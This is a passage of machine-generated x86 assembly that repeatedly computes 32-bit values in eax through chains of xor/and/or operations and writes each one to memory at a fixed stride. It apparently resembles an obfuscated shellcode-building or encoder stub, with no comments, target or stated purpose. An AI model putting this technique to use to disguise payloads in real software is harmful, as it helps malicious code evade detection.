mov dword [ebx], eax
add ebx, ecx
xor eax, 0x259257f3
xor eax, 0x7be10299
and eax, 0x2a0002
or eax, 0x2850268
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x72f9fd58
and eax, 0x12e202
or eax, 0x848100c9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a75948f
xor eax, 0x32828e42
and eax, 0x8c701804
or eax, 0x12888560
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c30c301
or eax, 0x7dc93ec4
and eax, 0xc2811ea1
or eax, 0x128112
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe911d27
and eax, 0x88020094
or eax, 0x32b93c23
mov dword [ebx], eax
add ebx, ecx
or eax, 0xcde740b
xor eax, 0x12fa7015
and eax, 0xa8000c88
or eax, 0x11404041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5350bbd6
and eax, 0x7d1be861
and eax, 0x51002840
or eax, 0x28b0218
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f8436cf
xor eax, 0x4a59ece4
and eax, 0x20063041
or eax, 0x48290404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bdfad89
or eax, 0x17a1ecae
and eax, 0xdac0c
or eax, 0x40501050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x365adc51
and eax, 0x161c3c09
or eax, 0x88200202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7503f051
xor eax, 0x7f3a1047
and eax, 0x2a302046
or eax, 0x94408e21
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61c16b1
and eax, 0x2100621
or eax, 0xc12fb91a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f7ce7df
and eax, 0x7e529b49
and eax, 0x28401000
or eax, 0x124659e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6cd4803a
and eax, 0x45b064a0
or eax, 0xb80c0009
mov dword [ebx], eax
add ebx, ecx
or eax, 0x162c77e2
and eax, 0xc38803ea
or eax, 0x30010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a32e3cf
and eax, 0x20242
or eax, 0x89c86c31
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13d38568
or eax, 0x1e7da6e5
and eax, 0x94c0e7be
or eax, 0x60001000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2bf28a81
or eax, 0x53d57aec
and eax, 0x52750636
or eax, 0x20080000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f629b43
or eax, 0xfb56fd5
and eax, 0x25204b03
or eax, 0x80008028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44d1aa37
and eax, 0x4000021
or eax, 0xf2cd2148
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x349bdb39
or eax, 0xb305013
and eax, 0x3227213
or eax, 0x1001058c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x459b5458
and eax, 0x10182202
or eax, 0x8002d830
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19096450
and eax, 0x1118842
or eax, 0x70e04184
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cd15e81
and eax, 0x146159c2
or eax, 0x2082038
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50f1ebc9
xor eax, 0x4c1ef2c8
and eax, 0x485b0a00
or eax, 0x380606e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c94033e
and eax, 0x20072150
or eax, 0x4810062c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d901a1e
and eax, 0x2106267e
or eax, 0x10604080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33ce09dd
or eax, 0xd0275cc
and eax, 0x62a37b2
or eax, 0x80018000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1aadbe91
and eax, 0x8c0f9392
or eax, 0x100048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c1669ad
and eax, 0x28d7e72
and eax, 0
or eax, 0xf533994e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x295e220f
and eax, 0x4425b140
or eax, 0x8004a6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5545f80f
and eax, 0x11404069
or eax, 0xa21b1016
mov dword [ebx], eax
add ebx, ecx
and eax, 0x666f5920
and eax, 0x4582fe13
and eax, 0x1000
or eax, 0x13458e4e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27f0824d
and eax, 0x31608008
or eax, 0x80006010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41e1b1eb
and eax, 0xd0815080
or eax, 0xc200408
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd6b337
and eax, 0x65af4c9f
and eax, 0
or eax, 0x6e1868bf
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47c67a24
or eax, 0x153b7f9e
and eax, 0x2cb8200b
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63950a91
and eax, 0x6557d58a
and eax, 0x4010002
or eax, 0x80686b04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5944eb00
and eax, 0x65578ad8
and eax, 0x400200
or eax, 0x2b8004a2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x392b6268
and eax, 0x38606648
or eax, 0xc4000104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72e5a813
and eax, 0x200000
or eax, 0x29318b8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58263f90
and eax, 0x310210
or eax, 0x20488001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6fd124d2
and eax, 0x19a979e3
and eax, 0x1a90043
or eax, 0xb2468b0c
mov dword [ebx], eax
add ebx, ecx
or eax, 0xef161cd
or eax, 0x56fe8a16
and eax, 0x86dee3c3
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f913f3f
and eax, 0xa80b4034
or eax, 0xb02003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f1ffe81
and eax, 0x431af7f
and eax, 0x4008420
or eax, 0xa2127100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40b28281
xor eax, 0x65173fa1
and eax, 0x82214800
or eax, 0x4052157e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61f27622
xor eax, 0xc1022b3
and eax, 0xa190014f
or eax, 0x502a6210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4818f4b6
xor eax, 0x6fe1ad9b
and eax, 0x921b5864
or eax, 0x800a408
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbd5403a
and eax, 0xa114000
or eax, 0xc4203e96
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e6d884a
and eax, 0x620957d7
and eax, 0x2085006
or eax, 0x9d520020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e653a2d
or eax, 0x59336da8
and eax, 0xeb1f640b
or eax, 0x800050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4dc447be
and eax, 0x5ea326db
and eax, 0x40000002
or eax, 0x20450285
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fe538a4
and eax, 0x71e12001
or eax, 0xc118
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66eb0191
xor eax, 0x6ed738f8
and eax, 0xa3439a8
or eax, 0x6109c602
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ea477ca
and eax, 0x6f056040
or eax, 0x80420004
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe42d269
and eax, 0xc400040
or eax, 0x2d231d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62ecbae8
xor eax, 0x71846973
and eax, 0x17049000
or eax, 0xa09a0b29
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b7728ea
and eax, 0x54491182
or eax, 0x23100814
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c6f8a43
and eax, 0x4b3390c7
or eax, 0x806420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3af5aaf1
and eax, 0x72913cb5
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x407c74fe
and eax, 0x2290143
or eax, 0x4812b214
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52882ca9
xor eax, 0x5e8d515f
and eax, 0x6164801
or eax, 0x28000048
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2aec0f2e
and eax, 0xe584b6c
or eax, 0x91001010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2271b2aa
xor eax, 0x19d877a1
and eax, 0xa4810012
or eax, 0x18160300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22a610a
and eax, 0x94210008
or eax, 0x15e2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a613830
and eax, 0x46002090
or eax, 0x11b38201
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48b4bd0d
and eax, 0x5161136
and eax, 0x5060014
or eax, 0xb2b0aaa3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x525f5c84
and eax, 0x6c92394e
and eax, 0x801000
or eax, 0x9750df1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ded675a
and eax, 0x93d45da
or eax, 0xa0008000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x565afbf3
and eax, 0x2b64b25a
and eax, 0x8010
or eax, 0x91213385
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e9b4c45
and eax, 0x6f4114cd
and eax, 0x1001440
or eax, 0x20d3aa05
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a8d1fa
and eax, 0x211804b3
or eax, 0x42801000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5372670a
or eax, 0x5afeef26
and eax, 0x3364c26
or eax, 0x84010091
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74472bd8
or eax, 0x6540da78
and eax, 0xa6303962
or eax, 0x88b0080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d220fcc
and eax, 0x6c808dff
and eax, 0x402
or eax, 0xe13dc091
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62fdc997
xor eax, 0x43f1d7c8
and eax, 0xa0041017
or eax, 0x1263a4a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f08860e
and eax, 0x10008002
or eax, 0x61e42958
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c194d50
and eax, 0x6dcd4102
or eax, 0x201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bf433db
and eax, 0x598e380c
and eax, 0x40840000
or eax, 0xb458ae53
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5759f563
or eax, 0x558168ff
and eax, 0x10d8cc68
or eax, 0xaa020300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e19e99f
and eax, 0x4c32645
or eax, 0x53180108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c74ecf0
and eax, 0x102400
or eax, 0xc82f1912
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41f3a9cf
or eax, 0xcde2879
and eax, 0x814aa0bc
or eax, 0x40200100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x710654a3
xor eax, 0x4e711584
and eax, 0xc510500
or eax, 0x208400db
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6606a9da
and eax, 0x28c2a4d2
or eax, 0x81201224
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60b4a591
and eax, 0x68622066
or eax, 0x16080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x90b4ed4
and eax, 0x46402230
or eax, 0x808e804d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2dc1de72
and eax, 0x660edc1a
or eax, 0x200080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b023067
and eax, 0x20000000
or eax, 0x8558e84c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x690b26df
and eax, 0x294be78d
and eax, 0x2043c205
or eax, 0xc2840020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51931416
and eax, 0x25c8b581
and eax, 0x1009401
or eax, 0x903d4134
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c5aa758
and eax, 0x757a7b65
and eax, 0x80000
or eax, 0x8465ce47
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7fb05c24
and eax, 0x19260
or eax, 0x22118
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f6b0dd3
or eax, 0x7b9aba4c
and eax, 0x1998804c
or eax, 0x84204003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x678a8a26
or eax, 0x62ce040d
and eax, 0xca1c8a4a
or eax, 0x12000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52934104
and eax, 0x12c1d86c
and eax, 0x10004008
or eax, 0x23730612
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30ec7e55
and eax, 0x604410
or eax, 0x4e81116b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2721a0d5
and eax, 0x2210041
or eax, 0xb11ce60c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x516f3567
xor eax, 0x3b1cb0ea
and eax, 0x900c43c0
or eax, 0x22a0800a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x590ac8be
and eax, 0xa1a60204
or eax, 0x448500b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2873681b
and eax, 0x2020000b
or eax, 0x9f940030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71118bc5
and eax, 0xc42480fc
or eax, 0x87000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e539a48
and eax, 0x282c0820
or eax, 0x44801549
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e040d2a
and eax, 0x8000d28
or eax, 0x8b3207
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe046c07
and eax, 0xa0e682a
or eax, 0x116080c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2aa04261
and eax, 0xb446a48
or eax, 0x10010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x504ef439
and eax, 0x4a2064c9
and eax, 0xa000441
or eax, 0x21e39196
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe3ac366
and eax, 0x1484491
or eax, 0x1806280a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c3e97bd
and eax, 0x8060411
or eax, 0xd5600062
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a388577
xor eax, 0x42cf10af
and eax, 0xacf1014
or eax, 0xa1004201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b18a090
and eax, 0x30592284
or eax, 0x44200d6a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4369f69c
or eax, 0x5610998
and eax, 0x1611d810
or eax, 0x48040400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66ffa4ec
and eax, 0x686078
or eax, 0xc7000700
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f046914
or eax, 0x140462fe
and eax, 0xd66424b8
or eax, 0x128001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14afcfbe
and eax, 0x20420
or eax, 0x23817144
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x371ee28c
and eax, 0x59620
or eax, 0x2a402802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5281ff55
and eax, 0x40444132
or eax, 0x53b0880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x705c7eea
or eax, 0x546471ab
and eax, 0x400914f0
or eax, 0x80008004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4aef4394
or eax, 0x2a79a425
and eax, 0x4a528195
or eax, 0x15000800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x644617d2
and eax, 0x21109003
or eax, 0x4602038
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d846e30
or eax, 0x6f723e19
and eax, 0x4280dc20
or eax, 0x80090184
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e5d42de
and eax, 0x2010080
or eax, 0xa022bb09
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4db61ce6
and eax, 0x6aa58d2a
or eax, 0x484010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e737bc1
and eax, 0x709e84b8
or eax, 0x89010804
mov dword [ebx], eax
add ebx, ecx
or eax, 0x528a6067
and eax, 0x1109283a
or eax, 0x1300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73c5b6d5
xor eax, 0x9f51a96
and eax, 0x70002009
or eax, 0x84870014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68bff8b2
and eax, 0x10109886
or eax, 0x40842650
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d14bd87
and eax, 0xa42409f
and eax, 0x13
or eax, 0x666fcd00
mov dword [ebx], eax
add ebx, ecx
or eax, 0xaca679f
and eax, 0x2647ce1f
or eax, 0x11101000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe07871
and eax, 0x401800
or eax, 0x978623c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc4d1f90
and eax, 0x556d0067
and eax, 0x1080040
or eax, 0x2ac2d69e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58f12fc5
and eax, 0x9d97654
or eax, 0x84040020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4350c197
and eax, 0x41c09005
or eax, 8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43cb8625
xor eax, 0x4a0472a
and eax, 0x2025102
or eax, 0xb9002e29
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5bdd66e
and eax, 0x100562a
or eax, 0x4e7f21c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f864bf7
and eax, 0x548cabe4
and eax, 0x880804
or eax, 0xe733061a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x178dd83b
and eax, 0x8974c7d
and eax, 0x860030
or eax, 0x7148b200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33d12445
and eax, 0xc00000
or eax, 0x8012c2c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d90fe27
and eax, 0xac0204a2
or eax, 0x1281c310
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41f39889
and eax, 0x54afe495
and eax, 0x4000
or eax, 0xabd6aba6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9e451ae
and eax, 0x303a00
or eax, 0x188900a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e077237
xor eax, 0x18b7b1bf
and eax, 0x42084200
or eax, 0x99630f0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45dcabbe
and eax, 0x40080010
or eax, 0x1a234000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd242612
and eax, 0x8200010
or eax, 0xc1c8e3ae
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4af54509
or eax, 0x49c82ef9
and eax, 0x49082eb9
or eax, 0xa6060000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a7b7a26
or eax, 0xddcc3e1
and eax, 0xa0ae1a1
or eax, 0x7020001e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50c2c31e
or eax, 0x292076f4
and eax, 0x500025a8
or eax, 0x4c40800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50f30c24
and eax, 0x4070004
or eax, 0x5ac0c871
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7338777c
or eax, 0x900c9dc
and eax, 0x14
or eax, 0x84f61200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e064b48
and eax, 0xa2904154
or eax, 0x15070200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e16e0c0
and eax, 0x44157caa
and eax, 0x12000
or eax, 0xbda28230
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3dc3a10f
and eax, 0x8540800c
or eax, 0x400808c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x320fa9aa
and eax, 0xe74ca1c0
or eax, 0x8a05201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29ed5ad3
and eax, 0xcdc569c1
or eax, 0x100028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3620dcd2
and eax, 0x48c0
or eax, 0x51c1a632
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b7c0e78
and eax, 0x58aca038
or eax, 0x24000104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7905a850
xor eax, 0x331d894
and eax, 0x9304084
or eax, 0x84c8867b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7811a7ab
and eax, 0xed8101a1
or eax, 0x21000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x260b2221
or eax, 0x37465edf
and eax, 0xdd4206cd
or eax, 0x108000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30216c6
and eax, 0x7f6f06de
and eax, 0x18000008
or eax, 0x116da45
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c97cd42
and eax, 0x10020000
or eax, 0x27402315
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b10ef3a
or eax, 0x4c8c5745
and eax, 0x5a0c1311
or eax, 0x73880a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4770341d
and eax, 0x5010104
or eax, 0x22100071
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73f27305
and eax, 0x459f1b81
and eax, 0x45120201
or eax, 0x20606044
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63dc980e
and eax, 0x7aad588a
and eax, 0x28c5802
or eax, 0x38132421
mov dword [ebx], eax
add ebx, ecx
and eax, 0x560d5e86
or eax, 0x55adebb1
and eax, 0x51017332
or eax, 0x2812004c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46adc094
xor eax, 0x497516ae
and eax, 0x14022040
or eax, 0x1341a31
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9447899
or eax, 0x5f20d377
and eax, 0x1720024f
or eax, 0x800c2400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9740be8
and eax, 0x1200240
or eax, 0x9a113927
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71cbe192
and eax, 0x7c5d76cf
and eax, 0x50412280
or eax, 0x3048438
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6cb70497
and eax, 0x18a0a003
or eax, 0x800114c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9febb90
and eax, 0xa8e8088
and eax, 0x20000
or eax, 0xbd816fb6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5aa09d45
xor eax, 0x20c0f496
and eax, 0x41e20605
or eax, 0x301ca888
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c87da01
xor eax, 0x2632a074
and eax, 0x900034
or eax, 0x10010008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77ffa114
and eax, 0x3265eea6
and eax, 0x22242020
or eax, 0x8c9b46c4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5521cd93
and eax, 0xa1100960
or eax, 0x4201000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1309ee2b
and eax, 0xa2301609
or eax, 0x860094
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x646f96a0
or eax, 0x35d56105
and eax, 0xe2008114
or eax, 0x8001c02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5756e7fc
xor eax, 0xc6460d9
and eax, 0x91220232
or eax, 0x54508
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42c921ab
and eax, 0x120
or eax, 0x1ff496d1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17e668c6
and eax, 0x55655cab
and eax, 0x14601402
or eax, 0x60110318
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26beb5c3
and eax, 0x42c02080
or eax, 0xad304000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x638067f1
and eax, 0x61804080
or eax, 0x9030834f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a5e2a5f
and eax, 0x26c6080
or eax, 0x1000046e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ea4351d
xor eax, 0xf14ffd0
and eax, 0x402222
or eax, 0x8234158
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dcadfc2
xor eax, 0x7ded6281
and eax, 0x10049958
or eax, 0xe9194080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16ba58f0
and eax, 0x9ba9791
and eax, 0x1828000
or eax, 0x66541e41
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5463ba26
and eax, 0x40001800
or eax, 0x80ad4116
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64f22746
and eax, 0xa4196a50
or eax, 0x1180008c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x309dc5d0
and eax, 0x209940d0
or eax, 0xcd66902c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56761164
or eax, 0x40bf08ef
and eax, 0x732e8912
or eax, 0x3000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f67cf6e
and eax, 0x2d7fd5d1
and eax, 0x280f1010
or eax, 0x50800085
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f31d465
xor eax, 0x3c972831
and eax, 0xb016080
or eax, 0x6496000c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ff36c3
and eax, 0x3812080
or eax, 0xb800d634
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bbced13
xor eax, 0x7130fe4f
and eax, 0xa101c5e8
or eax, 0x1c901001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27670b21
and eax, 0x5000001
or eax, 0xdae8aa58
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d39cee9
and eax, 0x58782619
or eax, 0x61002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x434abe4
xor eax, 0x10fd423d
and eax, 0x480298c2
or eax, 0xb1280209
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21b5b5c8
and eax, 0x20008040
or eax, 0x421a4f04
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf685de1
or eax, 0x570182fe
and eax, 0x2018f7a
or eax, 0x88b43000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7cc7b742
xor eax, 0x1113ce4f
and eax, 0x3018423
or eax, 0x840108
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18880540
and eax, 0x2088063
or eax, 0x40401010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6aa040ff
and eax, 0x280d032
or eax, 0x84020f00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10f5abbd
or eax, 0x413af641
and eax, 0x1598409
or eax, 0x30
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7621dcd2
or eax, 0xd5fc7c6
and eax, 0xc554586
or eax, 0xe0a00021
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5858eb3e
or eax, 0x75417b5b
and eax, 0x5d11110b
or eax, 0x82028480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10703805
xor eax, 0x1b410827
and eax, 0x8411822
or eax, 0x840a2099
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40f3aa7f
or eax, 0x492b299f
and eax, 0xc6a10ac
or eax, 0x44400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44dab825
xor eax, 0x7339fd1a
and eax, 0x22020087
or eax, 0x208400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x156cc875
and eax, 0x200001
or eax, 0xe7594dc0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x339d29b4
and eax, 0x14cc2d15
or eax, 0x8009202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18161d5f
and eax, 0x572d4aa
and eax, 0x42040a
or eax, 0xd3890be5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f58b502
and eax, 0xac9318e0
or eax, 0x20c0512
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7daf6fc3
and eax, 0x93005031
or eax, 0x20c3090e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6284dad9
xor eax, 0xadba295
and eax, 0xd80c414a
or eax, 0x6218681
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c815d4e
and eax, 0x4c010508
or eax, 0xb2d60035
mov dword [ebx], eax
add ebx, ecx
or eax, 0xfd78f97
or eax, 0x18bba9e6
and eax, 0x4922009f
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3fefeae1
and eax, 0x66cda218
or eax, 0x81125001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4efb7082
xor eax, 0x58a6ce3a
and eax, 0x81093c80
or eax, 0x48068218
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e29b5be
xor eax, 0x6dffc61a
and eax, 0x60b60080
or eax, 0x2088908
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ba64d54
and eax, 0x40900
or eax, 0x1900626e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b8bcfaf
xor eax, 0x1f87eb78
and eax, 0x4c080d10
or eax, 0x9236b040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74bb2739
or eax, 0x5c243a32
and eax, 0x22a1a83a
or eax, 0x1100084
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x281975dc
and eax, 0xa280d42
or eax, 0xd0152214
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b76f0a6
and eax, 0x2088057f
and eax, 0x80122
or eax, 0x75325a09
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e372ccf
and eax, 0x5e67d057
and eax, 0x8004040
or eax, 0x514809b8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c6bfc49
xor eax, 0x2a25e126
and eax, 0x544008da
or eax, 0xa0302220
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20c9e82b
and eax, 0x12fa4a06
and eax, 0x104202
or eax, 0x6a052480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d2375c0
and eax, 0x612127c2
or eax, 0x10480824
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd344e06
xor eax, 0x60aff3d2
and eax, 0x4500824
or eax, 0x820503cb
mov dword [ebx], eax
